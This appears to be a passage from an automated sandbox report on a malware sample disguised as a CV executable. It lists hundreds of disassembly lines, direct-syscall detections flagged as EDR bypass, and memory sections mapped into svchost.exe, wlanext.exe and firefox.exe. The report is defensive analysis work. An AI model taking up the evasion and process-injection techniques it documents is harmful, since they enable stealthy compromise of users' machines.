                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342D08D mov eax, dword ptr fs:[00000030h]2_2_0342D08D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03435096 mov eax, dword ptr fs:[00000030h]2_2_03435096
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345D090 mov eax, dword ptr fs:[00000030h]2_2_0345D090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345D090 mov eax, dword ptr fs:[00000030h]2_2_0345D090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346909C mov eax, dword ptr fs:[00000030h]2_2_0346909C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C80A8 mov eax, dword ptr fs:[00000030h]2_2_034C80A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F60B8 mov eax, dword ptr fs:[00000030h]2_2_034F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F60B8 mov ecx, dword ptr fs:[00000030h]2_2_034F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03443740 mov eax, dword ptr fs:[00000030h]2_2_03443740
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03443740 mov eax, dword ptr fs:[00000030h]2_2_03443740
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03443740 mov eax, dword ptr fs:[00000030h]2_2_03443740
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346674D mov esi, dword ptr fs:[00000030h]2_2_0346674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346674D mov eax, dword ptr fs:[00000030h]2_2_0346674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346674D mov eax, dword ptr fs:[00000030h]2_2_0346674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03430750 mov eax, dword ptr fs:[00000030h]2_2_03430750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472750 mov eax, dword ptr fs:[00000030h]2_2_03472750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472750 mov eax, dword ptr fs:[00000030h]2_2_03472750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03503749 mov eax, dword ptr fs:[00000030h]2_2_03503749
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B4755 mov eax, dword ptr fs:[00000030h]2_2_034B4755
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342B765 mov eax, dword ptr fs:[00000030h]2_2_0342B765
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342B765 mov eax, dword ptr fs:[00000030h]2_2_0342B765
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342B765 mov eax, dword ptr fs:[00000030h]2_2_0342B765
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342B765 mov eax, dword ptr fs:[00000030h]2_2_0342B765
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03438770 mov eax, dword ptr fs:[00000030h]2_2_03438770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]2_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03437703 mov eax, dword ptr fs:[00000030h]2_2_03437703
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03435702 mov eax, dword ptr fs:[00000030h]2_2_03435702
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03435702 mov eax, dword ptr fs:[00000030h]2_2_03435702
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346C700 mov eax, dword ptr fs:[00000030h]2_2_0346C700
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03430710 mov eax, dword ptr fs:[00000030h]2_2_03430710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03460710 mov eax, dword ptr fs:[00000030h]2_2_03460710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346F71F mov eax, dword ptr fs:[00000030h]2_2_0346F71F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346F71F mov eax, dword ptr fs:[00000030h]2_2_0346F71F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EF72E mov eax, dword ptr fs:[00000030h]2_2_034EF72E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03433720 mov eax, dword ptr fs:[00000030h]2_2_03433720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344F720 mov eax, dword ptr fs:[00000030h]2_2_0344F720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344F720 mov eax, dword ptr fs:[00000030h]2_2_0344F720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344F720 mov eax, dword ptr fs:[00000030h]2_2_0344F720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F972B mov eax, dword ptr fs:[00000030h]2_2_034F972B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346C720 mov eax, dword ptr fs:[00000030h]2_2_0346C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346C720 mov eax, dword ptr fs:[00000030h]2_2_0346C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0350B73C mov eax, dword ptr fs:[00000030h]2_2_0350B73C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0350B73C mov eax, dword ptr fs:[00000030h]2_2_0350B73C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0350B73C mov eax, dword ptr fs:[00000030h]2_2_0350B73C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0350B73C mov eax, dword ptr fs:[00000030h]2_2_0350B73C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03429730 mov eax, dword ptr fs:[00000030h]2_2_03429730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03429730 mov eax, dword ptr fs:[00000030h]2_2_03429730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03465734 mov eax, dword ptr fs:[00000030h]2_2_03465734
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343973A mov eax, dword ptr fs:[00000030h]2_2_0343973A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343973A mov eax, dword ptr fs:[00000030h]2_2_0343973A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346273C mov eax, dword ptr fs:[00000030h]2_2_0346273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346273C mov ecx, dword ptr fs:[00000030h]2_2_0346273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346273C mov eax, dword ptr fs:[00000030h]2_2_0346273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AC730 mov eax, dword ptr fs:[00000030h]2_2_034AC730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343C7C0 mov eax, dword ptr fs:[00000030h]2_2_0343C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034357C0 mov eax, dword ptr fs:[00000030h]2_2_034357C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034357C0 mov eax, dword ptr fs:[00000030h]2_2_034357C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034357C0 mov eax, dword ptr fs:[00000030h]2_2_034357C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B07C3 mov eax, dword ptr fs:[00000030h]2_2_034B07C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343D7E0 mov ecx, dword ptr fs:[00000030h]2_2_0343D7E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]2_2_034527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]2_2_034527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]2_2_034527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034347FB mov eax, dword ptr fs:[00000030h]2_2_034347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034347FB mov eax, dword ptr fs:[00000030h]2_2_034347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EF78A mov eax, dword ptr fs:[00000030h]2_2_034EF78A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B97A9 mov eax, dword ptr fs:[00000030h]2_2_034B97A9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034BF7AF mov eax, dword ptr fs:[00000030h]2_2_034BF7AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034BF7AF mov eax, dword ptr fs:[00000030h]2_2_034BF7AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034BF7AF mov eax, dword ptr fs:[00000030h]2_2_034BF7AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034BF7AF mov eax, dword ptr fs:[00000030h]2_2_034BF7AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034BF7AF mov eax, dword ptr fs:[00000030h]2_2_034BF7AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_035037B6 mov eax, dword ptr fs:[00000030h]2_2_035037B6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034307AF mov eax, dword ptr fs:[00000030h]2_2_034307AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345D7B0 mov eax, dword ptr fs:[00000030h]2_2_0345D7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F7BA mov eax, dword ptr fs:[00000030h]2_2_0342F7BA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F7BA mov eax, dword ptr fs:[00000030h]2_2_0342F7BA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F7BA mov eax, dword ptr fs:[00000030h]2_2_0342F7BA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F7BA mov eax, dword ptr fs:[00000030h]2_2_0342F7BA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F7BA mov eax, dword ptr fs:[00000030h]2_2_0342F7BA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F7BA mov eax, dword ptr fs:[00000030h]2_2_0342F7BA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F7BA mov eax, dword ptr fs:[00000030h]2_2_0342F7BA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F7BA mov eax, dword ptr fs:[00000030h]2_2_0342F7BA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F7BA mov eax, dword ptr fs:[00000030h]2_2_0342F7BA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344C640 mov eax, dword ptr fs:[00000030h]2_2_0344C640
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F866E mov eax, dword ptr fs:[00000030h]2_2_034F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F866E mov eax, dword ptr fs:[00000030h]2_2_034F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346A660 mov eax, dword ptr fs:[00000030h]2_2_0346A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346A660 mov eax, dword ptr fs:[00000030h]2_2_0346A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03469660 mov eax, dword ptr fs:[00000030h]2_2_03469660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03469660 mov eax, dword ptr fs:[00000030h]2_2_03469660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03462674 mov eax, dword ptr fs:[00000030h]2_2_03462674
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03461607 mov eax, dword ptr fs:[00000030h]2_2_03461607
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AE609 mov eax, dword ptr fs:[00000030h]2_2_034AE609
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346F603 mov eax, dword ptr fs:[00000030h]2_2_0346F603
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]2_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]2_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]2_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]2_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]2_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]2_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]2_2_0344260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03433616 mov eax, dword ptr fs:[00000030h]2_2_03433616
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03433616 mov eax, dword ptr fs:[00000030h]2_2_03433616
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472619 mov eax, dword ptr fs:[00000030h]2_2_03472619
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344E627 mov eax, dword ptr fs:[00000030h]2_2_0344E627
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F626 mov eax, dword ptr fs:[00000030h]2_2_0342F626
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F626 mov eax, dword ptr fs:[00000030h]2_2_0342F626
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F626 mov eax, dword ptr fs:[00000030h]2_2_0342F626
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F626 mov eax, dword ptr fs:[00000030h]2_2_0342F626
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F626 mov eax, dword ptr fs:[00000030h]2_2_0342F626
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F626 mov eax, dword ptr fs:[00000030h]2_2_0342F626
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F626 mov eax, dword ptr fs:[00000030h]2_2_0342F626
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F626 mov eax, dword ptr fs:[00000030h]2_2_0342F626
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F626 mov eax, dword ptr fs:[00000030h]2_2_0342F626
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03466620 mov eax, dword ptr fs:[00000030h]2_2_03466620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03505636 mov eax, dword ptr fs:[00000030h]2_2_03505636
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03468620 mov eax, dword ptr fs:[00000030h]2_2_03468620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343262C mov eax, dword ptr fs:[00000030h]2_2_0343262C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346A6C7 mov ebx, dword ptr fs:[00000030h]2_2_0346A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346A6C7 mov eax, dword ptr fs:[00000030h]2_2_0346A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343B6C0 mov eax, dword ptr fs:[00000030h]2_2_0343B6C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343B6C0 mov eax, dword ptr fs:[00000030h]2_2_0343B6C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343B6C0 mov eax, dword ptr fs:[00000030h]2_2_0343B6C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343B6C0 mov eax, dword ptr fs:[00000030h]2_2_0343B6C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343B6C0 mov eax, dword ptr fs:[00000030h]2_2_0343B6C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343B6C0 mov eax, dword ptr fs:[00000030h]2_2_0343B6C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F16CC mov eax, dword ptr fs:[00000030h]2_2_034F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F16CC mov eax, dword ptr fs:[00000030h]2_2_034F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F16CC mov eax, dword ptr fs:[00000030h]2_2_034F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F16CC mov eax, dword ptr fs:[00000030h]2_2_034F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EF6C7 mov eax, dword ptr fs:[00000030h]2_2_034EF6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034616CF mov eax, dword ptr fs:[00000030h]2_2_034616CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C36EE mov eax, dword ptr fs:[00000030h]2_2_034C36EE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C36EE mov eax, dword ptr fs:[00000030h]2_2_034C36EE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C36EE mov eax, dword ptr fs:[00000030h]2_2_034C36EE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C36EE mov eax, dword ptr fs:[00000030h]2_2_034C36EE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C36EE mov eax, dword ptr fs:[00000030h]2_2_034C36EE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C36EE mov eax, dword ptr fs:[00000030h]2_2_034C36EE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345D6E0 mov eax, dword ptr fs:[00000030h]2_2_0345D6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345D6E0 mov eax, dword ptr fs:[00000030h]2_2_0345D6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034636EF mov eax, dword ptr fs:[00000030h]2_2_034636EF
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B5A66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00B5A66C
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B481AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00B481AC
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B48189 SetUnhandledExceptionFilter,0_2_00B48189

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtProtectVirtualMemory: Direct from: 0x77542F9CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtSetInformationProcess: Direct from: 0x77542C5CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtOpenKeyEx: Direct from: 0x77542B9CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtProtectVirtualMemory: Direct from: 0x77537B2EJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtCreateFile: Direct from: 0x77542FECJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtOpenFile: Direct from: 0x77542DCCJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtQueryInformationToken: Direct from: 0x77542CACJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtTerminateThread: Direct from: 0x77542FCCJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtDeviceIoControlFile: Direct from: 0x77542AECJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtAllocateVirtualMemory: Direct from: 0x77542BECJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtQueryVolumeInformationFile: Direct from: 0x77542F2CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtOpenSection: Direct from: 0x77542E0CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtAllocateVirtualMemory: Direct from: 0x775448ECJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtSetInformationThread: Direct from: 0x775363F9Jump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtQuerySystemInformation: Direct from: 0x775448CCJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtClose: Direct from: 0x77542B6C
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtReadVirtualMemory: Direct from: 0x77542E8CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtCreateKey: Direct from: 0x77542C6CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtSetInformationThread: Direct from: 0x77542B4CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtQueryAttributesFile: Direct from: 0x77542E6CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtAllocateVirtualMemory: Direct from: 0x77543C9CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtCreateUserProcess: Direct from: 0x7754371CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtQueryInformationProcess: Direct from: 0x77542C26Jump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtResumeThread: Direct from: 0x77542FBCJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtWriteVirtualMemory: Direct from: 0x7754490CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtDelayExecution: Direct from: 0x77542DDCJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtAllocateVirtualMemory: Direct from: 0x77542BFCJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtReadFile: Direct from: 0x77542ADCJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtQuerySystemInformation: Direct from: 0x77542DFCJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtResumeThread: Direct from: 0x775436ACJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtNotifyChangeKey: Direct from: 0x77543C2CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtCreateMutant: Direct from: 0x775435CCJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtWriteVirtualMemory: Direct from: 0x77542E3CJump to behavior
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeNtMapViewOfSection: Direct from: 0x77542D1CJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: NULL target: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: NULL target: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
